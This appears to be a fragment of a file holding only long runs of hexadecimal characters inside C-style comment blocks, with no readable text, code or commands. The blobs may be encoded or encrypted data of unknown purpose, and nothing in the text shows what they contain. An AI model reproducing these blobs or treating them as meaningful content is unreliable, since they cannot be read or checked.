5bc4ecd9c2e6620b31845ed9a764690e782c7001be04a08a955c4a9d90c9f4b84460c35fce125892a591c51fd2a67b72986badb78db39bf6f3125e6b0c0b85336841c532d766a4191980b104f800a5f06ba8186ae4f067281fc26d1e8021ceaa935ed4e66af2c4686fa50348bd70745b231c1364e3b06ba4b2d63fb9033facd160a0bd86645a4ca5aa04119ec2975b2df351e300242a3512abc9d779d960824bef7143d1c174fef9264253ef2340f5f116c4ea7eb7018266bade1dadc0edadad22826185c37c518b3601df66858856db55c0ce927c8f245af36297093ab4be5e44eab221caf150dd8b304540bb2b77f34685a7316fc976cf438d279189902d615027f141160393b232f41a6b3be7179f27e0db799844113d3e8a293fe3f026cb0fd3a8da003f1f8bb02d0b02b0cc16345c5d5550cbe36c94252065f245795567f82cb455d364633639e39233956ea7704870c771d6e9f79b9815c21a41bea3e08d8290255ea208d1929e767987a64bf3769c5657380e7303a97cc133a102582dadb2eccbcbff77dd1983d9911b7e9a06a121bf571127a63d21c378a81d1cf7a31e59365a8ec86c52cfe8032bbfa0d9176c56859b1e3f20787d0739466409c7975b50397d5b8168b5a6d4f7f3c9d7e77acc1f703e3767fbd0cf90b12759aa1e963570f04e56a9ca4e15e664c5b3876f7555f87f0c5f6916721271495741e725506343ea8a937891978bb31b12a27bb1bfbbead71b95a7b142d92ad8e07bbb9d6097fef2e9ae2555e64a8a8078b49d1d1f09f77d9aaafc6701f057aaf65252c56b6872faf47723e3b73f2616380eb3d8288c0c74e2d*/
/*21e52fe0277a616932173b7078c34696b5947b470ed6b5f0298b87f796a8f88dd591431e65ab0b0c3459471d581a0b19133f6d539b76211779faad545da6a38caa980d29c26e1fccd0624ad9b47065257851ff2d78134cbedb25ccdeccaef4805baa0c5964345778690d65e0d052227bb6f64ef7fc8985ed55b30cd28ac97115de5d3c6f45360dce95a0c00db1b5643678689103ab406e0f596ee0649282fe6fc7356a9fd0992230b1b807059e811fdcdc8a27621acc9288e94ba9fb3b0d10f2499e0f98ccdafcca4e109090bcf55885763380fc3dfec487c883b479697529c83bbec582a7406af73baba8f5f36eaac76f605ba023840d53111189de5bb0d396caba255124a2db51f82c613e2fb5c5bd3989e856d7410da9a0b0ff78dc4d66f7b9fa52cee248325fb4e3fffe0fa58fc8a6f648c17fe4e4cae47ff29832008e32be6a8694d7c58d9a368f8145c27a746e61bbb8bc6cf6b46cb320334f13368cb615c6e70f1748c0b04d16976d9ec10caf5429d80d3569da4d59189a7fc4b1d1b3582ef7cfe19ce075f6f46b7735815b7250b8b4a942ba3b79f4308b860e0df9d4c95096c42820b9e6c7fd8215554e242119aed2e4862ad568e995633ed6b6f7bb0a6fd7723a4ea2c0499523d744a505d84730bc3b22b439748f179d54ef5df3e10426407dc35428dba7d879ddf5ccba8e4caafdbb74f947bfe9faeb38acb91769a0e5c28709765f61ac958225750dcc542ae0325eb39728d608b74695f568274ac68c5ff63b6f190a594b9df832fab26f8b3703e3702a699e18ba62772e27c1f777382770298451d80ef26f871a56302875d06259d8574ec523cd4b9246d59e83f62572f41f337420ee00a16bc584368c6cc4c452d544957bc934ad930793ef46eb240febb6381834eae62771fdc8000efd7ab7f06e92e3867356c13640023e91f8ee67c3fa55996a9c203032607e9eed69d4357876243a32de45c466460660c855676e887705e7cb73fc9a1dedb354af6dd350cf8160dc16cd44a243e5229b12fa32ff200db20b03b1d2e6f7aa790ec0bcdedd3dbc8f33b1d8a4482cd69df1e4a4aa11fb232edcfe718f8efc1499b558ed3fa3d1526ec29d92721e1868d16b5ff33d8b334ba6d1de025dadc9703c38e9024bc899c3ead2de8ab440c0bcd652a219407df7c2f9a3c4530db853a1cb3dd468580a4ad1f3ece9d93ca6f6a467bf26587ccc120b302b2f36fec6184018e45839f0c465364e81f1e056d7745f1e0f7b2dc02a6646807717df27c8df11e9b599bffb239534210cf4ba454bddf3a4e7b1c16cddf3ea7bb1db1d64d6d8f3c889bfa24a4a51d92523175b69e6c225dfb1166f50a0b0827dff6029be07a7cfd8aa2bc4ce40e30094009b52e71959554e5ddd4e6f45fbf2fa2b03d95f6f86e007772b26774705a2b18557b655d9d0cf7a6dc0cb93ed18b9986d25257ce01dc85e01fb06b0eceec408743d5d8c0c4d1d344a235582927a656053a4efc383b5416da68b5248db0be294b8d6dda71747e7029788e951e5d20c639904e7dcaaf5667846b80454208f1fa7ec873f9bcaca5926f1ac12eecacbbf9d6d586e8737dee6db5cc9e679fcd12062481137b6c2749448106c7a93d874f6ae2a8714aa649828e70f2392073df7224fe0564adf39ab78c525c092ce6aa86e9d2dacacd2437166f8f0b9f557e944d3cc4c5688850c28c36f02c0683c731e47abb16271a78a187d476ed95ecacec6e5d09348080ca135b9e62cba5eaf75c8ad9f400b1aae3f1ff4ff44665e2db3cfacc75a5bbb8c0f78d5b2cbb86fb8ec293abe7af3ffaa836f406cdb0cf636e2394d3a0ac7f1e3b8f4145690d4b278c2554cb6a32787cc14f83117e9dc59825ed3b4c4ccc3cfdb1353f55b6bc2f16e2a24e6ecefc40c1dc35529efd8c3813f36e4819b614c786eccb5b7a65f85b845c5f7b93cccd13e452706f81ab35526a7b166be94fde62decfbbed8b18bd74c3472c484a2bbd1804d7aa48f70794e5b25cc4d6ab73567a432ca9ca28c21f104b69fe210c78c3810ea493240f62b732675df6090906957fa4ac65a54b98650aa0fc112e320096de0485f4db059ae63a93949925503df0131a0ab4fff433c86ea51cb88b7d12a38351e5058a91fd41104ceab9978fe8acc481e8c3a546f6ecc4b4fdd516fa293f6972a2d3bf838b625a3c1ac79277b0aae3a4361834cefdedec3bca8bce2e08f35b5db9a3ba4a5aa45e885cc1bc7a3566b45ff978a9c4fc397d0d01423b18e4ff0df177ab8c8548ac1c8a78c74edb92badae9593ff68074571f1adff4c7d398a75a0e4b38efec49de639cd6b75c1801ac49a27463d48767bf0a58ebc2c9fa38a3c1efb0a1e55faf91688ae3a65bcd8df706c73da79d82b13fb82148ea6b5b0e825ed9c6b1783010d45831cb7c325214c2e350f930045413b8754376e2f319c3bf51f4215045aeb9485ff82469e68b8e3a58b4fecd815320c823eb6348b419678dbe7da2f18f2759b19ce9bc27e48f6463a49272efeb637d9c0e6c632cab766493d6e97ce86073c726220b8f0412d2827df0828ce35717d9973c190441cbb8d634ff855908d1815ceeaa009d0cd4b6048e463e261a023edb4158d4071fd90abe6f0427e8ad57d7811a18de91b58056559d54bb3fa6ccfb4bbf9c7ef3ce3cf1f91c2523a91bb4b7d9b3cfb6a704f0ef962c2c3ce111560a2c1b7f33f70af1856d5a2a86c81ae4c344fb9bc839c1ddcc4a3ec2e09efbcadbeeb6a961775a28d13874590c68eb15be8453a1754e668371eff2f2507ee7ef53786d3f0d2fe8d5512e93e027610f75391bbec*/
/*851860808e0f154e2b053c5d02fe79fcf910f367ede9fcfcaa50543c247523bee8901de8406570457c3f6a8f1e8a31b0ad1bf165848cc02f6714cae0ec5b86e299218878debb2a1778b0d2c0b1e6aee0ee939f225b410b4bae00c95d2f787c5954e5a5cb7e697ffc0cce9f041cb38e078ff1f1602c5b556a12160d40a4067201e50eb2bd1ce9541734092d3558c3579cb834845977190c04efe6107cf196e377e73975d500e8586d2d1c632e18208249b8b1023367b5e4297e35cf49c8ed0ff2026a8251e10de2499dd7aecb6901066dd3a23161da7b0f931734fb2b19d3dd81258370389f03e11e9ace627bb99ccce0a9ea588c20556b2b3977d3206fc363d0697c089fd212a38c3c99823da875a2b2bc6a20c25005343fda976a4cf83d2d552bd4630d08ce4264182aa1cca292ddcb01a6b696490d18d44c0f51c6669b901c7c304ac390bf3e4d2bae1d076930ef833e0660506eb8a77a82be02dff4330d1e2c60be0feb60e20f49e6b563c7fdd168cc54481de91a52f76384878a8422ceb41ac1893bafdcc18f2d8f56001f93f23b8047a67c72766196ba2a852fe60ddd4d896e74d179e03f7b2ca128a213e54a64cd1ac7b9e706d182c063f256c6bfe0232c8fcb97ef831280216d69db5c4ceeabd8e3609df0b6ed7625510b9838693c60af23da0c2730e8a4c5bb2219198bbbaf63dec8afb276e8af2cc2c925228053e825417dfa2f825262880f613e04bd181d0feecf3ee1e7e1efbbd1c4a99ea3e1378f3945c7ce61cf7d22fcd117550f20b2647db25884559765d59a396bd251f956ea28ae11c7de9b9059bfc105b7f9c66995d9eb9c46592f2c54a80f8b4ea76201295c4cc953bcd3b41c83d01c1d41316b9794c696f7c3fd31903ad76056a1fbd366c2d4fc6861fc99b63349e88902941258b3d57c6d791a49b3f798baf683e7e3146e6aa05ef986fa90a7c4025e5c9ed0cb590bbd2919e72d09220fcfd38d4c1ac687e66f90462907fcf4cee5941bb6d593a7c444bb8246b39b687f360a78d758e08d6b9d2d6820eea747cf61e8ed74886a2b75645b1b02d5ab3aa47fa74ef43eef22b5d3fe635827f0547d10c45ac329693e1ee4f5bfda6e13bb468d9763f2aa909b81ad6c1512d5d11a9cea3a02d3a6fd02b1d5ae71ab82dc3f919409106e72c5d2cd55b2f7407e408615f7df988a32737fe3f558cc5bd5cf76824a0ac0709bfe1c9f91a4fc5524f67a1836ad625dae5823de19143c83b11b51585f2b4a105cc0e545a711a174262da68ec8b87add402e05aae8058b7d0f6fe39cf8bba481b316c7b7a4986a924b18f0e2e174aa1592f47381fa8da228a1d92a834088d83f8fc072ebe460ae36f061cf7c68ad85338cefa8265483a9c270df840138eeb16fad058162e828e4274ca97a5bc2467d6c1382e1b09dc9df04f7627ab269bc307820d6c4665575abb43ccbf88bae83bae3ce620fdf5e4b1eede819aa75a1d437aa21c490012db46f0b1d104aad00a21da19c3b38699cfb55d9b1ebbf292bc400caf2acbd17c74eb1548d2bd8993f41f91f1526e8110955fb01755046dccd59722fb6323e0c329ccc01b382fa04f11c450a2d23e470e4561c145494eee084df2458cf4ef7ff265dbc142f709def12146b88090b7ee7cb4f5f6f4970aee6785803ef01ca7674e1660010f086f2697ff89df920628981656fb2a5c6f6d03a72417fae5b85673c78a6584864c140944a45d08bc5ca113faf2a23ca1733b2bf0a237f974c4fe01ab9bc0fd474f155827e6caed8927aee30b9a9bd6cca4921f88216230c2d2804c7f27e7a87db18f1bd700d26f41375a7f3268296cd5995b3776ad7c1f3f7b1dfde87c60c3b8abc7df9912c27cb71d837c007bf7533440a445f30621b7119192c70030b3aa4e253c2dbf3dae0b2ae24fb7df2f73b61cb501bb14852a338334040b2ede1ecdaca975e5a57444fff459c75ff55c7d877b9ca6fac1aea172fb8730c16220495efa330bdd0d64f5d92622b624689cdc41320c7d603925d0604ac1bac448712079a90ede232a67107945d8683286240a7464a75ab894098c4ff72ee1bb71a9ade5f0db7eea2b29b539909fc4ba94a204d9bbaf7eeb6ceaf7ec69a59aa9d874113c5136181b5023ef888bd980165859ce3a71c89608c8d6e91835feb820bb7fe7e127d33dff199b6484ca6d98411d434b7cdae43672798fde471abb78f0a2674bfab23aef969dffd97ed2dde56f18c6b43334122478400852a61d904438fa8ecd1d5712a454e3838f7626e68467c0cea85e19d96ca5575655acd5f9f0a36b4423b232822eebc93e0e3bb2848bfabe1917cb1b327f032e6f4fd0996a847d590c91e6ab813dd2386ad742a631e8809e1ea3cfcb6b64e2a31d96913216815f5d97ebc61f6d40024adca5d1eef896aad21161aef4f733fedd760720ac8555a06a41c0d668c1dbc3829fa423280ad99d3d77ef87bb1f0dc61b271ce3b56771066768b49ecfe98e3b422a309631c5e7ee2483e095fa938ad406ee0c87a003d4cc0f9ee26cb45325468677621f3a490930148ccfbc685581a15f4adac42c446d2a5a8cf6fbcf3899067c84415dfc30ab1228453a18fd3a4e8a4833bd39cf09fb6d1402f4c2e51f0bdca1890ac9bfa226687395e77497b2f570afc6d995282e35e650617a364dcb6690142c095b492164901ce7ccc114114690835e2aea1bed7e50f65520af79ae61ed138070a2d1e5e5dd99130677d87ff52d4dfc1347f790a7c83a91267de349088fdb9faac9d459ede5581b9fbb608feeb9722f016db3b8b7875976a95b9b3bad2f7a8b0d9e6c5*/
/*86f2401a612376d4b9e579841882e9dd02aaee0e500d2428087a8e491d4ddc7620cd4c8c4e539259eca7e813b9c1a08f7a2760ed5da979c50089d8f52716982203f0619615889bdf5ef09eaa98e715b0ddb9581f6047d0c7d6ccf70e8e44e7be77c56baaed65237ae207d5af235d93db71717ff0d7a10c338e48ddb6a4fa9d4941b0817146e5b55b547f6a96fa655e32a0331e8cb142cc83356ba9c233728a354eae4706298233f693751469547c2e5708bbbbcfb7b3b96d86ece30d2022344af507f14aa0f93896c826b5eb246b4865f91c27064f8437d591274792014ddd0d6bff17958ed5606f9021c84b9aa89c36488564c99a693bda6b3f7d9f973d8ed0eef515eed40c69893ecbad4d228348d7a020223df85750fc445e3b697044affeceb8f48d47f0d1a71f8267a1f20a27d61366e76cc4b7db25210bb91c6d6337d9eda7d6dd49d8668c4c5289a3e03d20db5e1bf3499b6f0572d7af00930f825ca018e1f86f06ee441f234f405d5b34b84089bce0ac91072b1cfeafd9a2a704f6232b59862ca3b5f072864b14ea0573bb6214f528c40df30e584fbbad63a27c793cbc2de69bb0a76408fd2f86a9b0f2a19492fffc785bad4742a235bf099a2e99f31abcb59e04f6b25a70531b8147342e2851410ee6aa07c9164210eac80f49d284ecd3b05e268f5734d5f06a146c2197ad076a5d9e709767962bf9147635fc3a1dce511750d8ad631c73aae08554c9a6ea6790ab0cb0c7f4f940f411ea12f393c4ed171eecea43b18b62f6ac16a5c897c620057ef7e4c6d3deb9f02999286850adf9a4f8fdbeade3d241699b19efa0b0528dd1f523f83041bb8c4887046239333c6b25e07ff9ab91f9f5cf17af391af4bf5fbaef86d0001d3939996af0446af74cf466ea3dd11276f409d51b68da509c237467d1adb5b138b71fb37daf0a9790594883e72b8606d977de3acb3a797dd06ad7294c4385c6f38ef8e9f93b7e44985f85f7c2da26a4bb234c44d4235097a0efb9ea10d1e87559844360cd0230c20eebf4d63c0a5646b0dca7c9bf910b5646ce30685054c709ca4fea01df43fe966eca687d88992a3338aebde07d91d6dcda14e6ed5d7e278b31e7c2ce238f761231fded718d24e70c31b9eed4f429d02142233c46ad5a70f4c4940682dc3127079fff852592c88485dbc5a9a892fe2c9cec6754b6bd9b9502d41819b3f80309bd9c401af6ef4253f875e52d2ff41f1bd0bca3560b74a31c5673d3c57fbeba03b1b84f2acd6ca01fe478267c2d5b5a2aeaf73b9e99cb20a34da3d0149baf1377ba1650e81fcd62b54ae36e1998fa91f2725db383bb1ef3a704eb8f89aea758101dc89bb4ce621d254a7af32d4b2e130de0c84e035f3d99512d525c82f22631d4ed655c6f62ada5b04383e8d3de68c2a4bca1289de65a474be812e408d372fd3874dda46ebb434fb2636f3d5a55f90c4735dfb4380652568ea8c6e02660210816e86288904ae07652a9618bd95794e1cdfbc1d3dadeef0b4259925dfa56f565539b91da175a91f9fe902ab00b49cb491d934fa7abc46a2697cda7749cb95cfdbe6a21cba37904f897490bf7dba1a88415b955a5cc7001fe462e30980b7343804e1d94690eb4f84d5466bb8bfc835fdca95002ffbabb56ed499d75aaf1b0dc1a7b3ce062d879850a04e568f65c15a6ce9832f1b377e7b65d53b0032df5784d451dfc471f3627a5e30f1418bcb81d995a779f5a590a35738a5e0bd1915d1a0c73e5c048a2a16efea3d5342bfdd76e21c5668cec5c63c0c45fc58f13c0cfb364053c3fe7fcf5f62cdf0cd6ad7da8bbcb0c5c4f0c2fff75479719d22bcad8d0e5b41a4b90baa0c060bd9115f9fcc836ac07038e71c37ab6582916d3534db240bab40aea09409fbfb34607d0db6fa21dcdfc06b15dc6cf62463306f3c2840f17097b9f6282e692b4b9fd93c0580262af6a36eafde84045a98296f58e973b667ccc5d43535ab74d5e6f5094a5daf9115cdc8bfe847ae9bddf56f9c617e7b19bef4a0973d2d8bd7a75eab448fcd34230740faca5ba3734e612e701a45f7388624f6cb4186e2a3e0002cad5dc7024c981346fc77ad215f08e374c7d01e466ae27446e7e9380edd4d1631609f5a9837d3fbbfbf4104a26f9e66649360bd4e3f9aff73699987250cce96bd7f025f43c3639c826279bbc527f45f35880ba4c57786aae82f5369c7fde58dffb7531a9c9a61fb09adff5e2fe62e2dc7a8d6dcfac2ec56d67b07cb783d6f541aa6b71f42974bd25616712da39ea7b48310ca453c706b3cf6ad4e4a2c88deae8c760906665faaa3617cd6392352e2f4dc19342342a1bff57823afadeedaa38b4688417f33f2b3d4dee00376917f6f0d3f5454c640e82dccf128041af3a21347aef4d92584171f7f3578c0eec607671066e2625f4f9a13d693b1c37106e792827972456c5633f7ff1bceb9069c49ea644de0d2b403d5ff6f0db376a8da2a9f95335882fcb188c7f53a84f658324a37044c79cdf27f2d08e9ff8c1de228e138e3762e0f2571efab9439d45e408ddfdc29fc670ddd2fd4bf0a44198078ed08c83121a177e3e00d1c92b97866a243c07bf2f9ede47e7111a989abd2b57e9f7b8ecd4fba888a419cd18c951c1cce88c850e2d0f324236b59afa421007918e8f930e2406dda6f54cfc99c36c1cda869773d1610832cc64146b8e2945dd086b0e360c6e50e13bcada9f505f5cd55868eb87c461b54b903d1b6f1aa6de0b86a29dc25b6659f2f8141d75b176ea862ea7331bc3b1892949251134611692183f6728bde49bec535f564fd48682d36594c071f0*/
/*e4dbae0a2e81b0c241e5e892039002d6fe22619d3874cf8593f89064b95d124ed3217c91309b950484ce0019ba9bb01328cf213128b6f303021313fd2f4786e64ecc7d88568f2d7b4986e937e4c46d7228fe3bd60e62d1750086f22c3b98b47ed2e0cd23feacc922f35441546bdf36a23c0e231efe7395f39e1330dcd24a2cbe0f9021661a138d5b76efcc6bab2765487c09e73ac516fbcda8f4a6ab2828dd7577b0a98e24be4d7404e348a005706b1bbbccf321c58c5437b70dd8c5e50bd8fe70fd50751734ac231ab1f31202f0aeebd91a56b481f167cd50a961d8809ad4dcdc31241a21c3301b0b8bed746e55d286d780d8466c6b9e04dcc455c1371271f3aeecb1ba2f23d5abddc1bcbb0cec33a124b483d064b5dee979c70be478aa43192f93f033fed71d9af5436196585dfe698efcda13ab4efaad97e3c14c61c7b0dfb4371e5403a9ee113e3b95c8ebb1daab96befb53a2ba23168b5c26137fbd1046e235a042c98f8d454314804f6897cb3f5f4062d79f01a55dc4c59bed613c780a8c8b8341b801f994a297561a0e6fc4ae6c61cd0242265bd216efd01952fd892a007c46181ba341218c0b5f7d069ee61d59b3d89ab7e5a351648c5d3388ddd3fafff3d37ef5d0227f79ef895a500d4cca1de568d08626de9d87ea7901e84d7141a485186049311e3912cf4e36fa02a6f6fd0f0c99edb569cf9ddb45c6bdcbdfa628174dca014706c1f4d8d42f3f5a61243dec8ba1792bb2518eb936353147ea66746876d1487bc49e9a7cbef2c8feb1f8570e0405b32caf62ef327da2244c6a981483774a5f20a089f1be447b2967bc4901719f4404750cf957a1d989c9a2ea4ea1e50e7020eea8a2405b546e13a67b5e3329e7ef50021c84aed3ee981e670ec3670484203b3b8c42805a2dd80cfc76a2ea9030f5a541ec3aa847c3c30e679320012b8b7deed0244da62702f92b7fa85d54db682eae8a74c5dc1114617eb6e4a49c0c63bdb2ea1840dfb6bff17fcb149cce2aa94a82dbf7f8ec1e2d0f9db253131d7646de9968f76135e102339d8ade2a796f7217ab1583b3362c574ca29a5714a9ddac177793fd4996c085502061881ab7e9c433d3fa131522acf2f772a853f6e16f57022bcdc9c02f1f31654f44d008f351778e2ea519169a6590183d852b3cced068bcfe42eefc896ebd534e8ac6984fc09969caae22184bee5f5c5963471d3e8f51a98e31ff19829ec4dad2a09deaaf3a05ce79bbe56fea2014d80013e1c0e32306d3c831affed7b7bc454218c0f23819e5140a21d5f8abfb4f5ecb9c9fedb52b7721f8eb5ff552d8749e71bc89d5304ebff7b4051181819761e823aa080f17cceee13f06709fd74c36fbc59031ae4b01c839b33f8df6487122e2d799d94a1d0bff74c879cb73231bd592000014bdc791760a7c2b828e8d17cac6499fc3fcf84e8adc758c4633bf631067580df67a4a721daa591e3429f47f49a17a829d7a71d48601b09581c6b9c91f1a215bdc3c26b59c79a75977910a103c9b63aa0efc12f68167882d243d85c432a9cbd3edd444976246e48f63889380c3a372dad804657c586aabfbdff2ae7a7be40dd45bee7aa09d074a3166c4b9d4ad22c9ee7f1828640d5057734eaff313ed4ce5bea933d07ef36b23de1c8d04de907dce3872dcf7b4a733ace79b947d4d1a623f66e1d808c2abcff5cbc7ccd8ab20fe57050aefa0479c91baefff71c9ff8e1c602b59dd1af823a4adcebfc7fca039535376d6b343ad7cd4275575af6bfd248966e41bbc8a9f6cdd6783ea25a00178ce3bd0720599ca414459da53d06dcdae6768bde758bf07e2f3cddfa474ae831f25c50673925ca14d1f9e4a210682b1115566cc2715b09bceb510d6467b741ea5b7d34223abc8f8dbe587d93c35834883e3b105dca422b50e73709c4f0d556ca8c627db656cd0ffbb29e3debf410fbfb536e4336fdbde58cef7b421b1aa903b1d971024b297ec535956df6bc82c1feafb9578a9208494511c03d0e33d151b3fc2c74a7cf9466f96bac618226e98d41718946aebe30bcce0203bf645275a15ba846cba52087de7eb117f1551c81cd474ca88637dc1a8ca91305109480f2dd8afcf9ae030d726f41e926f4db810f56ef97594ccc43d14a90a8fc364a117ba8824aa1f2b346712a46e1feb1ad297c35aeff09a1c718f66a688818fcf9c66834cbcc414bc3d7646c67d3d42bb0fbdd8172abc74e266ddce84a7918fea28c5e61fc8b62c1876fd79698f40b969e81bb210bdf9f1bed70895844e9222bddf2fcd619b8dc8a14296e5355f1588c6c054007885f8a98776e62c5ace0814d2443bde14efa13ef4095a3f83129bf5290538083a20aa1e04bf552a662dbc6c93f83d5566d432061e2d69a9ba9e819642ec7fc7ca3fa849447a0eb02350940dd4e6a0eec76778bb7ea33fadbc825c2cea102a7fdd8ff368600acc76ec64171da5f863f409428112fe6091c8921404aff25f79a3b71374af34e91289893e9d3e17b71bd9e178162349fb528236f4278d410a4254d41bbf755b2ff7d54f11744e6621aff63df9d47bbf9cf0aa6cd29ea9a9255b595d691d0d4f2a7f77a6f9d4a837eee98d19465469c1a55e95d185a2785dee7dcebb643c2eee8301f2f0c6bb68ad86ced2f3825681100881c43aa72e919117f1220956cb7010863d738b88951462355d20043d7a63fbd54271fe0e8fb057c5690a59213503be746c28d21bf758540789f77d0f86972610a40280e083d0006ccf49c6807602837b12f279ea2851779b891865d0d7338e83c5ff1b8a0f106ca24cb98d7891d5a5784ff3*/
/*b9676c065d6c3befa8e39d0fe7aabe64e5606e5fcf581f1b97f54436a96b9b53dcae0c357a04b8923839c4979e49cf436f336003a281fcd6ddff8152d2dd0d95b9fea02255cae44b38d0bf55153b4750c27e371f4e35180afe2ec47e69bcb8e50df885d88249c5f50604476355127c21a54348ba1a977b392577b1d0b65c275781577172fc02db7bd4e1b746a8af188069716fc88542e39cb558c00d6aaf8882f0558fb8db2f6724e9e7452ec79b69e86adf55d616236d619e5dc8a69957725d1c50a8261e8b5ed68048ca176e0a8a6116f50807d84b9e6b6457af2d730a560b9c297589fc032fef2b123877b7f9d151038d6a4a8b0a8e51044f26be81297124a26e62b8c5c08c49a417bd54b1fce2be9d2f2a55499b7f5d9ba90effd766202ef002fe3057393165e39f5d44cd6731e41e3774de89c48cac2dda890ef98aeba1d10d4686bf89739d703a3a3d5ed5291d9fd854e125a3202c08aaf21e2276b5ef601fdedd6817b1a5cf2e8ecc35ff017c2e9e80a517768f9fade6b5bff08a3794ad5a5d8d8151fe3091be63674746f4de3621bcd90047717f57a178733e4b482cc952491c7cf3181fe31305b4f6b21f4157867d4cf820ca8068e63c8b43e58b2024ffed538122bd52fc601dd8b1029bd4107e94cf516ae2974975f4cfd0941cff3c5b18b5321490cb689598c0955a8df1ed344701ef6e0610163ea5799dd697c4bbbbe846af4f52d6d750b9f4c5127a06409044d0838cdc5303e7cf5607d32c0e316cea221567e5d396db8ce8af2a2035dfbc86bea427e3bf9d7f686388f419628fa23fb84e085e87f28634d3f67cc2e347c3cb9e4c31676f0aa1243e672740ca6adc84c6d9bcebb1e640fdf3a4c0b4f10227c0d4637ee0d7ed276b6981418ee40c189a69c4f117ccfb5a75eab3bb26a62a336fa4e506d1067d39a7d3a1043f1f716937598039ff78ee49c5b62070eb02419be92ade67ac2125bf8ebfde535743589bd407ed10b9b42481679eba438cd5f46eb924b2f896a76b5ecd8625a29294379a1a4af51c38900898a7f5d46dc4eb45183b4385d75bf757154ea6608b38e19c258949a07f4a6b633ff8df0a888de7a6556c63e606595737a861fe9a1376ae28e264ec0775bb42f18e57f5412b07544e6fcc70f74bb949a51cacf28d91d4608c79e861a01d492ea78a548c918e5c9d53cea69f8150974aa86c07864fac11e24166dd7cb965e372525e170205b05cabf8281d1ae888aaa9a5d0de68991d10e110ca7ff2eb052d3fe492e4089a2bef5333fa9cea25fc0d9baa11c968b80009c2f6aa975a02f04cec02d62dccbb872dc53752f3ddc72031c3cdd66e33f690ba6b35308a68f86c9b901c05ea436bbde582db699b7121053f238a23d770a79552675d53e42c8e2783bb7fbe060d840d59e6a68aadabfae8abdac82699949555e9a520b1e8456f359c9a23af86a7e337b49c5d08a5672f9672c4b3c04e6d427242eabd3b5e7bbc9580b8ba186381942c8b13dd8eb489aeea180872582b8c84e88712cdb47493840887073dfde359cb82f531cd7359a0d0d17fafbcfa38b8b4fb4a3ebc662101b3ce7c63173afd6c8eb304d2bc87535f276e42b9afed579b4ff9199b93da3e1d37e8ce098462c4895bcb768a2b2e6b24f3b7df86087b8a0af05b0648c1cfe2993fc65c8c289c13beb61ea58c19f34fa0671856683c976e3bc16e64fefc93d3dd1ac684896b76064e08fbca22b666be5ae832fbf3d858f9380b0e04f98dd786dee151346a40aab78223b117caafc249793fd387245e8fa8796cdf5ba5d87e9cf8e8c5e52ff5c2a142d23195ec93017d793e9f7edead4ef13f846a9e3c923217f7164f0314bf5723fe13de53a87f4140d35a29dab8a681dd583c10b019f9cb0e04f10ebcaf165f5ea820c613f2fa06c4b40bf7346ab3078573e226660061145e849a8c5a1598d70ec3871aaa33cb1d793677a6b7064abcd76bd9f6d742ca5764ff82a6b9d054971b29a905eb2dd0ff45ebce9bfa37891de50c4e6bb83b6ef8cc8442d75c1cc38fc3c837648ac8c0064032138fd8adecca9a6d51cb15700ad0d1b0c423d5808cc689c1c222420b409e3fd2fd11a7eff354bceee74b74f325e0f874d49fc56b20a05f29649152ff08c606eb613a012a533c080ac55cd2f6f887dfd1396a34d3a7f454a79a772009cf29f978d989d465ce5e089403dc5700de6c92018bb55bd1b7bf2e0548fafb36dcb3bc1f1ca7a60c1ef0debd67be52bc17004574fc87b35b05e7fc08403264c305463e1766fde7cc48a066c1a4b491491f062ec14ecab646cab02f110ecaf68a953b2bd06b800eceaf656dc1a63e0d2df8c306b0f3e4db17752fdcd288a375ef6b8617719145e2ec6bf327c4ad678d474bd3096cebbbc779f4d2462e685eef3141f334d2fd79b3c408babf9fb44ba4f76137fd343faa196ab48f7080a640cfe19b269ffdd33f9bd3df24303d96691f6a455a15c1a4fe2eabb810f533ea54732a3302feccb8cda99a0ad519257321577f93fa76577e48c937c6952c42060b133ee043ccede24c31d311f36a4bbde54569f02a520f9cd3a1838c6cb2a9615de7b4392c7bd69134581d731a0c469ac0141837d28e132bf3a740f444a4917fb6d440d48a4e4b786d28fd1755a2b0a6924e3c5a2aa244391714dbb027f78811fb0938ce3c94e5eb7b801be6543e4cbaca68207d34305acdb20b8800b4f866c890337242806a17b126fc86a5a103aa94825dab459029a19b5f6030085fa21868073b6c66096a02a79003dc951667f9e34dfe3cc05eedbde55fc2268c480a5dfb2aa330*/
/*25f8dc843f37929fd3b273e5921a46ebc0de4b2524b7678911222709b25a6a68116c5d4ad109f93f0061b3c53baad55721edac7d5995815fb697df229f2d310923da3dcdcabc8bbe8990582ba6a6de50ea72283acd9a1998913fd2cf11e25c6afd87fdb9cc5967c2b2c6a7d6156584c9cb25ccfcfa6d2b5cd8d3f62a493cf90de978cf019f26d8ad445f0e34217ca7bec8c53ddf684ad05e8d9eada5b963c9c77c7027fbde7e0426ad44e1ae133ab486b243ca3dce47fe9086f1edc1fc52208982b81afdad0ab1e820f0efb63ad3dd6542a1343c0ee7fc47f0ab9b8645103b7578e9b932c848d43b00334efb4165b6795d808c988e4b7e447aedac0618d72729d802bd71ad92f5727d7cde6f74287c057aa85c64c211446d5863673412c8a9f4a41be3abf63ad416a1536efb5ded0c07a441c127c2826ff3d9f328b2c91b7f00cc706b34b34823879a090cbda77bbfb33e84350af557f28f9d9abb1465bfc552939177976b9f540c76b2ef28b7258eae6a554b67807f85e48667b5a9c0ba739b6ebf51a0339c67ea22913aeac617d0fd9d12603ca3d0a02072ddf348eb8a62091930bad1169edfa72473635d5baad31ae34109c37ac4838329c275f032a4e6b2fc2432e3de2e2e99fb7e1493fb7829ff290c49b878bb271480eb6d7d55599594ceb49dd966b647dd0ef036e4cbc32a1a390d48b50910378722b339ce5d9b0aa2c49543868a2e6cc9ae73327d23aac4a7f7b4ed0150a835c09be8b0510c3b96db4fc68fcf63d99549228acc0b649891568ca32399ce33d379bf5da0e477ea395cbb6e2eb09b6b60ca70b3f0bfe120c952dd7ff57f11157457c5716cca2c31624a82629762b44ac09bf9c47cc71f40a99afd31e968445f2cd763ffb78d1cb43604098398f79616b86435ac8c51b8e61b2a3d6635b7b34a08277f8987a40f7fe2bc1df90975825e43b532033266ff60ac2e649bce72ffcc0625f4fff046dbb75fcd7c76c2c9fa767df46c46cec47e46b092f98949bcd64621b6dd8c7609cdbb023556c79a8e5e869f395ee7eee84d03cc6eaddbbb16d0b99aa8ee9b18e3fd76b02230a205d395ddb0002fdf12eaf851cc31281045d605765d61c5fadba1782bb19c5be416d2811224c27afd34ff046da8f024a4b828869bf27ac1aee8ab59505c8ddd85c54dd71aab6490711d9da98fbfeaa3f9cc2c491f95f48dbd3cdc56b49e69235e4e886a37d421a4cb06374d9533c8d5567a76ef3f227ce24aafb1054ba6e6b8a1b86e0d7ffa24a87807960938aeb8d15884836511e7b0852ddfb49ee